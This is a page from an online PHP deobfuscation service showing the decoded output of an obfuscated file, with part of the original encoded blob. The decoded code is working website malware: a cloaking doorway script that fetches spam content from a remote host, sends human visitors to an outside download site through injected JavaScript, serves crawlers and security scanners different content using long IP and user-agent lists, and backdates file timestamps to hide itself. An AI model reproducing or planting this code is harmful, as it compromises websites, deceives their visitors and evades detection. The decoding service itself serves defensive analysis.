Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $mybzgp = array('eNq1XGtz2krS/vzmVygKFeAEg2aQhPAt8SbOpdaJU45du/XaLkoGYesEEJZEbO9J/vt..
Decoded Output download
$tpmft_kt = 'po_briqqqjdgtgauygpqqqclwccxcvpclq'; ;
error_reporting(0);
define("BASE_URL","http://d.ad-net.top/07_books/");
define("GROUP_NAME","07re-7-6-2018-2");
$cache = true;
if(!function_exists('scandir')) {
function scandir($dir, $sortorder = 0) {
if(is_dir($dir)) {
$dirlist = opendir($dir);
while( ($file = readdir($dirlist)) !== false) {
if(!is_dir($file)) {
$files[] = $file;
}
}
($sortorder == 0) ? asort($files) : rsort($files);
return $files;
} else {
return FALSE;
}
}
}
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}
$tdir = '.backup';
if (!file_exists($tdir)) mkdir($tdir);
$time = time() - 60*24*3601;
$dr = getenv('DOCUMENT_ROOT');
if (@filemtime(dirname(__FILE__)) > $time || @filemtime('.'.getenv('PHP_SELF')) > $time || @filemtime(getenv('SCRIPT_FILENAME')) > $time)
{
$files = @scandir($dr);
for ($i=0;$i<count($files);$i++)
{
if(stristr($files[$i], '.php') || stristr($files[$i], '.htm'))
{
if (filemtime($dr."/".$files[$i]) < $time) $time = filemtime($dr."/".$files[$i]);
break;
}
}
@touch(dirname(__FILE__), $time);
@touch(getenv('SCRIPT_FILENAME'), $time);
@touch('.'.getenv('PHP_SELF'), $time);
@touch($tdir, $time);
@touch('.htaccess', $time);
}
if (!isset($_GET['q']) || strlen($_GET['q'])<1)
{
$q = 'MAINDOOR';
}
else $q = $_GET['q'];
if ($q == 'yesitsourtest01') {
echo '__OK__';
exit(0);
}
if (strlen($q) < 1) $q = 'MAINDOOR';
$q = rm_rand_str($q);
$domain = getenv('HTTP_HOST');
$ip = getenv('REMOTE_ADDR');
$ua = getenv('HTTP_USER_AGENT');
$sagent = strtolower($ua);
$keyword = $q;
$downkey = urlencode(trim(preg_replace('/(download|free)/i', '', $q),'-'));
$stat = 'http://epublin.com/KPjpgy?keyword='.$downkey.'.pdf&source='.$domain.'&ad_campaign_id='.GROUP_NAME;
$tds_answer = '<script type="text/javascript">var url="'.$stat.'";self.location.href=url;top.location.href!=self.location.href&&(top.location.href=self.location.href);window!=top?top.location.href=url:document.location=url;</script>';
if (!human($sagent,$ip) || isBlackListedUA()) $tds_answer = '';
$fn = md5(urlencode($q));
if ($cache && file_exists($tdir.'/.'.$fn)) {
$content = file_get_contents($tdir.'/.'.$fn);
} else {
$content = cc2(BASE_URL.'/content.php?d='.$domain.'&kw='.$keyword,60);
if ($cache && strlen($content)>500) file_put_contents($tdir.'/.'.$fn, $content);
else if (file_exists($tdir.'/.'.md5('MAINDOOR'))) $content = file_get_contents($tdir.'/.'.md5('MAINDOOR'));
}
$content = gzinflate($content);
$content = str_replace('{tds:answer}', $tds_answer, $content);
if (!human($sagent,$ip) || isBlackListedUA())
{
if (strpos(strtolower($keyword),'.xml') !== false) header('Content-type: application/xml');
echo $content;
}
else if (strpos(strtolower($keyword),'.xml') !== false)
{
echo '<html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>'.$keyword.'</title>'.$tds_answer.'</head><body>Get redirected...</body></html>';
}
else echo $content;
function rm_rand_str($q) {
$arr = array('/\.php$/i','/\.htm$/i','/\.html$/i','#/$#','/\-\-.*$/');
$q = preg_replace($arr,'',$q);
$order = array("\s", " ", "+");
$q = str_replace($order,'-',$q);
$q = mysql_escape_mimic($q);
return $q;
}
function mysql_escape_mimic($inp) {
if(is_array($inp))
return array_map(__METHOD__, $inp);
if(!empty($inp) && is_string($inp)) {
return str_replace(array('\', "", "
", "
", "'", '"', ""), array('\', '', '
', '
', "\'", '\"', '\Z'), $inp);
}
return $inp;
}
function human($server_user_agent,$server_ip)
{
$stop_ips_masks = array
(
'209\.73\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '216\.39\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '111\.13\.102\.[0-9]{1,3}', '119\.63\.19[2-9]\.[0-9]{1,3}', '119\.63\.196\.[0-9]{1,3}', '119\.63\.199\.[0-9]{1,3}', '122\.81\.(21[01]|20[89])\.[0-9]{1,3}', '123\.125\.67\.(15[01]|14[4-9])', '123\.125\.67\.15[23]', '123\.125\.68\.[0-9]{1,3}', '123\.125\.68\.(7[01]|6[89])', '123\.125\.68\.7[2-9]', '123\.125\.68\.(9[0-5]|8[0-9])', '123\.125\.68\.8[0-3]', '123\.125\.68\.8[45]', '123\.125\.68\.9[6-9]', '123\.125\.71\.[0-9]{1,3}', '125\.39\.7[89]\.[0-9]{1,3}', '180\.76\.[0-9]{1,3}\.[0-9]{1,3}', '180\.76\.15\.[0-9]{1,3}', '180\.76\.4\.[0-9]{1,3}', '180\.76\.5\.[0-9]{1,3}', '180\.76\.6\.[0-9]{1,3}', '185\.10\.104\.[0-9]{1,3}', '202\.46\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '202\.46\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '220\.181\.108\.[0-9]{1,3}', '220\.181\.38\.[0-9]{1,3}', '220\.181\.51\.[0-9]{1,3}', '61\.135\.169\.[0-9]{1,3}', '203\.208\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '203\.208\.60\.[0-9]{1,3}', '209\.85\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '209\.85\.238\.[0-9]{1,3}', '216\.239\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '216\.3[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '64\.233\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '64\.68\.8[0-7]\.[0-9]{1,3}', '66\.249\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.(7[0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.90\.[0-9]{1,3}', '66\.249\.91\.[0-9]{1,3}', '66\.249\.92\.[0-9]{1,3}', '72\.14\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '72\.14\.199\.[0-9]{1,3}', '8\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}', '8\.6\.(5[0-5]|4[89])\.[0-9]{1,3}', '198\.5\.(21[01]|20[89])\.[0-9]{1,3}', '205\.226\.20[0-7]\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '209\.202\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '131\.107\.[0-9]{1,3}\.[0-9]{1,3}', '131\.253\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '131\.253\.2[4-7]\.[0-9]{1,3}', '131\.253\.4[67]\.[0-9]{1,3}', '131\.253\.61\.[0-9]{1,3}', '131\.253\.6[23]\.[0-9]{1,3}', '131\.253\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '157\.5[45]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.55\.109\.[0-9]{1,3}', '157\.55\.110\.4[0-7]', '157\.55\.110\.(6[0-3]|5[0-9]|4[89])', '157\.55\.1[67]\.[0-9]{1,3}', '157\.55\.18\.[0-9]{1,3}', '157\.55\.3[2-5]\.[0-9]{1,3}', '157\.55\.36\.[0-9]{1,3}', '157\.55\.39\.[0-9]{1,3}', '157\.55\.48\.[0-9]{1,3}', '157\.5[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.56\.229\.[0-9]{1,3}', '157\.56\.92\.[0-9]{1,3}', '157\.56\.93\.[0-9]{1,3}', '157\.56\.9[45]\.[0-9]{1,3}', '157\.60\.[0-9]{1,3}\.[0-9]{1,3}', '199\.30\.(3[01]|2[0-9]|1[6-9])\.[0-9]{1,3}', '199\.30\.16\.[0-9]{1,3}', '199\.30\.27\.[0-9]{1,3}', '202\.96\.51\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '204\.95\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '207\.46\.[0-9]{1,3}\.[0-9]{1,3}', '207\.46\.0\.[0-9]{1,3}', '207\.46\.1[23]\.[0-9]{1,3}', '207\.46\.192\.[0-9]{1,3}', '207\.46\.195\.[0-9]{1,3}', '207\.46\.199\.[0-9]{1,3}', '207\.46\.204\.[0-9]{1,3}', '207\.68\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}', '208\.68\.(14[0-3]|13[6-9])\.[0-9]{1,3}', '213\.199\.(14[0-3]|13[0-9]|12[89])\.[0-9]{1,3}', '219\.142\.53\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '40\.11[2-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.12[0-3]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.124\.[0-9]{1,3}\.[0-9]{1,3}', '40\.125\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])\.[0-9]{1,3}', '40\.7[45]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.7[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.77\.167\.[0-9]{1,3}', '40\.(9[0-5]|8[0-9])\.[0-9]{1,3}\.[0-9]{1,3}', '40\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}\.[0-9]{1,3}', '64\.4\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '65\.5[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '65\.52\.104\.[0-9]{1,3}', '65\.52\.(11[01]|10[89])\.[0-9]{1,3}', '65\.55\.213\.[0-9]{1,3}', '65\.55\.217\.[0-9]{1,3}', '65\.55\.24\.[0-9]{1,3}', '65\.55\.52\.[0-9]{1,3}', '65\.55\.55\.[0-9]{1,3}', '114\.111\.95\.[0-9]{1,3}', '124\.83\.159\.[0-9]{1,3}', '124\.83\.179\.[0-9]{1,3}', '124\.83\.223\.[0-9]{1,3}', '183\.79\.[0-9]{1,3}\.[0-9]{1,3}', '183\.79\.63\.[0-9]{1,3}', '183\.79\.92\.[0-9]{1,3}', '202\.160\.(19[01]|18[0-9]|17[6-9])\.[0-9]{1,3}', '202\.165\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '202\.46\.19\.[0-9]{1,3}', '203\.141\.(4[0-7]|3[2-9])\.[0-9]{1,3}', '203\.216\.255\.[0-9]{1,3}', '206\.190\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '206\.3\.(3[01]|[12]?[0-9])\.[0-9]{1,3}', '207\.126\.(23[0-9]|22[4-9])\.[0-9]{1,3}', '209\.131\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '209\.191\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '210\.236\.233\.[0-9]{1,3}', '211\.13\.230\.[0-9]{1,3}', '211\.14\.11\.[0-9]{1,3}', '211\.14\.8\.[0-9]{1,3}', '216\.109\.(12[0-7]|11[2-9])\.[0-9]{1,3}', '216\.136\.23[2-5]\.[0-9]{1,3}', '216\.145\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '216\.155\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '63\.163\.102\.[0-9]{1,3}', '64\.157\.13[6-9]\.[0-9]{1,3}', '66\.163\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '66\.218\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.228\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.94\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '67\.195\.[0-9]{1,3}\.[0-9]{1,3}', '67\.195\.110\.[0-9]{1,3}', '67\.195\.111\.[0-9]{1,3}', '67\.195\.11[23]\.[0-9]{1,3}', '67\.195\.114\.[0-9]{1,3}', '67\.195\.115\.[0-9]{1,3}', '67\.195\.37\.[0-9]{1,3}', '67\.195\.50\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '68\.180\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '68\.180\.(23[01]|22[4-9])\.[0-9]{1,3}', '69\.147\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '72\.30\.[0-9]{1,3}\.[0-9]{1,3}', '72\.30\.132\.[0-9]{1,3}', '72\.30\.142\.[0-9]{1,3}', '72\.30\.161\.[0-9]{1,3}', '72\.30\.196\.[0-9]{1,3}', '72\.30\.198\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '74\.6\.13\.[0-9]{1,3}', '74\.6\.17\.[0-9]{1,3}', '74\.6\.18\.[0-9]{1,3}', '74\.6\.22\.[0-9]{1,3}', '74\.6\.254\.[0-9]{1,3}', '74\.6\.27\.[0-9]{1,3}', '74\.6\.8\.[0-9]{1,3}', '98\.13[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '98\.137\.206\.[0-9]{1,3}', '98\.137\.207\.[0-9]{1,3}', '98\.137\.72\.[0-9]{1,3}', '98\.139\.168\.[0-9]{1,3}', '100\.43\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '100\.43\.80\.[0-9]{1,3}', '100\.43\.81\.[0-9]{1,3}', '100\.43\.85\.[0-9]{1,3}', '100\.43\.90\.[0-9]{1,3}', '100\.43\.91\.[0-9]{1,3}', '130\.193\.62\.[0-9]{1,3}', '141\.8\.143\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '141\.8\.153\.[0-9]{1,3}', '141\.8\.153\.(12[0-7]|11[2-9])', '178\.154\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '178\.154\.165\.[0-9]{1,3}', '178\.154\.166\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '178\.154\.200\.[0-9]{1,3}', '178\.154\.202\.[0-9]{1,3}', '178\.154\.205\.[0-9]{1,3}', '178\.154\.21[01]\.[0-9]{1,3}', '178\.154\.239\.[0-9]{1,3}', '178\.154\.243\.[0-9]{1,3}', '199\.21\.9[6-9]\.[0-9]{1,3}', '199\.21\.99\.[0-9]{1,3}', '213\.180\.(22[0-3]|2[01][0-9]|19[2-9])\.[0-9]{1,3}', '213\.180\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '213\.180\.(21[0-5]|20[89])\.[0-9]{1,3}', '213\.180\.21[6-9]\.[0-9]{1,3}', '37\.140\.141\.[0-9]{1,3}', '37\.140\.165\.[0-9]{1,3}', '37\.140\.188\.[0-9]{1,3}', '37\.9\.115\.[0-9]{1,3}', '37\.9\.8[4-7]\.[0-9]{1,3}', '5\.255\.253\.[0-9]{1,3}', '5\.45\.254\.[0-9]{1,3}', '77\.88\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '77\.88\.22\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '77\.88\.29\.[0-9]{1,3}', '77\.88\.31\.[0-9]{1,3}', '77\.88\.59\.[0-9]{1,3}', '84\.201\.146\.[0-9]{1,3}', '84\.201\.148\.[0-9]{1,3}', '84\.201\.149\.[0-9]{1,3}', '87\.250\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '87\.250\.243\.[0-9]{1,3}', '87\.250\.253\.[0-9]{1,3}', '93\.158\.147\.[0-9]{1,3}', '93\.158\.148\.[0-9]{1,3}', '93\.158\.151\.[0-9]{1,3}', '93\.158\.153\.[0-9]{1,3}', '95\.108\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '95\.108\.128\.[0-9]{1,3}', '95\.108\.138\.[0-9]{1,3}', '95\.108\.15[01]\.[0-9]{1,3}', '95\.108\.156\.[0-9]{1,3}', '95\.108\.158\.[0-9]{1,3}', '95\.108\.188\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '95\.108\.234\.[0-9]{1,3}', '95\.108\.24[67]\.[0-9]{1,3}', '95\.108\.248\.[0-9]{1,3}', '95\.158\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}',
"66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+", "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "66\.108\.185\.[0-9]+", "70\.91\.180\.25",
"65\.93\.62\.242",
"74\.193\.246\.129",
"213\.144\.15\.38",
"195\.92\.229\.2",
"70\.50\.189\.191",
"218\.28\.88\.99",
"165\.160\.2\.20",
"89\.122\.224\.230",
"66\.230\.175\.124",
"218\.18\.174\.27",
"65\.33\.87\.94",
"67\.210\.111\.241",
"81\.135\.175\.70",
"64\.69\.34\.134",
"89\.149\.253\.169",
"64\.233\.1[6-8][1-9]\.[0-9]+",
"64\.233\.19[0-1]\.[0-9]+",
"209\.185\.108\.[0-9]+",
"209\.185\.253\.[0-9]+",
"209\.85\.238\.[0-9]+",
"216\.239\.33\.9[6-9]",
"216\.239\.37\.9[8-9]",
"216\.239\.39\.9[8-9]",
"216\.239\.41\.9[6-9]",
"216\.239\.45\.4",
"216\.239\.46\.[0-9]+",
"216\.239\.51\.9[6-9]",
"216\.239\.53\.9[8-9]",
"216\.239\.57\.9[6-9]",
"216\.239\.59\.9[8-9]",
"216\.33\.229\.163",
"64\.233\.173\.[0-9]+",
"64\.68\.8[0-9]\.[0-9]+",
"64\.68\.9[0-2]\.[0-9]+",
"72\.14\.199\.[0-9]+",
"8\.6\.48\.[0-9]+",
"207\.211\.40\.82",
"67\.162\.158\.146",
"66\.255\.53\.123",
"24\.200\.208\.112",
"129\.187\.148\.240",
"129\.187\.148\.244",
"199\.126\.151\.229",
"118\.124\.32\.193",
"89\.149\.217\.191",
"114\.36\.1\.[0-9]+",
"104\.131\.98\.[0-9]+","200\.232\.28\.[0-9]+","200\.178\.129\.[0-9]+",
"76\.92\.177\.[0-9]+",
"107\.167\.109\.[0-9]+","172\.56\.44\.[0-9]+","5\.221\.204\.[0-9]+",
"82\.236\.192\.[0-9]+","217\.36\.226\.[0-9]+",
"110\.54\.2[0-9]+\.[0-9]+","110\.54\.12[0-9]+\.[0-9]+",
"180\.191\.146\.[0-9]+",
"112\.200\.233\.[0-9]+",
"76\.178\.148\.[0-9]+",
"122\.2\.241\.[0-9]+","180\.190\.106\.[0-9]+","122\.2\.241\.[0-9]+","141\.43\.128\.76","180\.191\.71\.[0-9]+",
"112\.202\.167\.[0-9]+","180\.190\.103\.[0-9]+","112\.207\.30\.[0-9]+","183\.82\.39\.[0-9]+","112\.207\.21\.[0-9]+","110\.54\.238\.[0-9]+",
"112\.202\.169\.[0-9]+",
"49\.150\.7\.[0-9]+",
"222\.152\.62\.[0-9]+","110\.54\.248\.[0-9]+",
"94\.186\.102\.178","129\.120\.246\.[0-9]+","129\.120\.231\.[0-9]+",
"69\.30\.218\.[0-9]+","96\.62\.169\.[0-9]+","185\.122\.56\.[0-9]+","176\.126\.245\.[0-9]+",
"89\.163\.225\.[0-9]+",
"76\.8\.67\.[0-9]+",
"72\.208\.61\.[0-9]+",
"220\.158\.162\.[0-9]+",
"17\.58\.20\.[0-9]+","194\.11\.254\.[0-9]+","139\.130\.162\.[0-9]+",
"203\.220\.172\.[0-9]+",
"75\.150\.208\.[0-9]+",
"217\.172\.143\.[0-9]+",
"213\.152\.242\.[0-9]+",
"107\.185\.57\.[0-9]+",
"104\.6\.64\.[0-9]+",
"192\.92\.196\.[0-9]+",
"204\.79\.180\.[0-9]+",
"35\.165\.39\.[0-9]+",
"52\.25\.149\.[0-9]+",
"135\.84\.80\.[0-9]+",
"69\.156\.93\.[0-9]+",
"185\.30\.145\.[0-9]+",
"107\.133\.4\.[0-9]+",
"177\.84\.109\.[0-9]+",
);
$stop_agents_masks = array('http', 'google', 'slurp', 'msnbot', 'bot', 'crawl', 'spider', 'robot', 'httpclient', 'curl', 'php', 'indy library', 'wordpress','charlotte','wwwster','python','urllib','perl','libwww','lynx','twiceler','rambler','yandex','trend','virus','malware','wget','bing');
foreach ($stop_ips_masks as $stop_ip_mask) if(preg_match("/$stop_ip_mask/", $server_ip)) {
return false;
}
foreach($stop_agents_masks as $stop_agents_mask) if(preg_match("/$stop_agents_mask/", $server_user_agent)){
return false;
}
if(strlen($server_user_agent)<=11) {
return false;
}
return true;
}
function isBlackListedUA()
{
if (strlen(getenv('HTTP_USER_AGENT'))<=11) return true;
if (!getenv('HTTP_ACCEPT_LANGUAGE') || !getenv('HTTP_ACCEPT_ENCODING') || !getenv('HTTP_ACCEPT')) return true;
if (getenv('HTTP_ACCEPT_LANGUAGE') == '' || getenv('HTTP_ACCEPT_ENCODING') == '' || getenv('HTTP_ACCEPT') == '') return true;
return false;
}
function cc2($url,$to = 10)
{
$agents = array("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/20030504 Mozilla Firebird/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10"
);
if (function_exists('curl_init') && function_exists('curl_exec'))
{
$agent = $agents[rand(0,count($agents)-1)];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, $to);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
if (!(@ini_get('safe_mode') || @ini_get('open_basedir')))
{
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
}
@curl_setopt($ch, CURLOPT_MAXREDIRS, 2);
$content = curl_exec($ch);
curl_close($ch);
if ($content !== false)
{
return $content;
}
}
else if (function_exists('fsockopen'))
{
global $oldheader;
$a = $agents[rand(0,count($agents)-1)];
$protocol = (stripos($url,'https://') !== false) ? 'https://' : 'http://';
$url = str_replace($protocol,"",$url);
if (preg_match("#/#","$url"))
{
$page = $url;
$url = @explode("/",$url);
$url = $url[0];
$page = str_replace($url,"",$page);
if (!$page || $page == "")
{
$page = "/";
}
$ip = gethostbyname($url);
}else{
$ip = gethostbyname($url);
$page = "/";
}
$open = fsockopen($ip, 80, $errno, $errstr, $to);
stream_set_timeout($open,$to);
if ($open)
{
$send = "GET $page HTTP/1.0
";
$send .= "Host: $url
";
$send .= "Referer: $protocol$url$page
";
$send .= "Accept-Language: en-us, en;q=0.50
";
$send .= "User-Agent: $a
";
$send .= "Connection: Close
";
fputs($open, $send);
while (!feof($open))
{
$return .= fgets($open, 4096);
}
fclose($open);
$return = @explode("
",$return,2);
$header = $return[0];
if ($oldheader)
{
$header = "$oldheader<br /><br />
$header";
}
$header = str_replace("
","<br />",$header);
if ($return[1])
{
$body = $return[1];
}else{
$body = "";
}
if ($body)
{
$return = $body;
}else{
$return = $header;
}
if (preg_match("/Location\:/","$header"))
{
$url = @explode("Location: ",$header);
$url = $url[1];
$url = @explode("
",$url);
$url = $url[0];
$oldheader = str_replace("
","",$header);
$l = "Location:";
$oldheader = str_replace("Location:",$l,$oldheader);
return cc2($url);
}else{
return $return;
}
}
}
else if (ini_get('allow_url_fopen') == '1')
{
$ctx = stream_context_create(array(
'http' => array(
'timeout' => $to
)
)
);
$content = file_get_contents($url, 0, $ctx);
if ($content !== false)
{
return $content;
}
}
else
{
return 0;
}
}
?>
Did this file decode correctly?
Original Code
<?php $mybzgp = array('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','jW1Zu26UNA/BkYr0GLD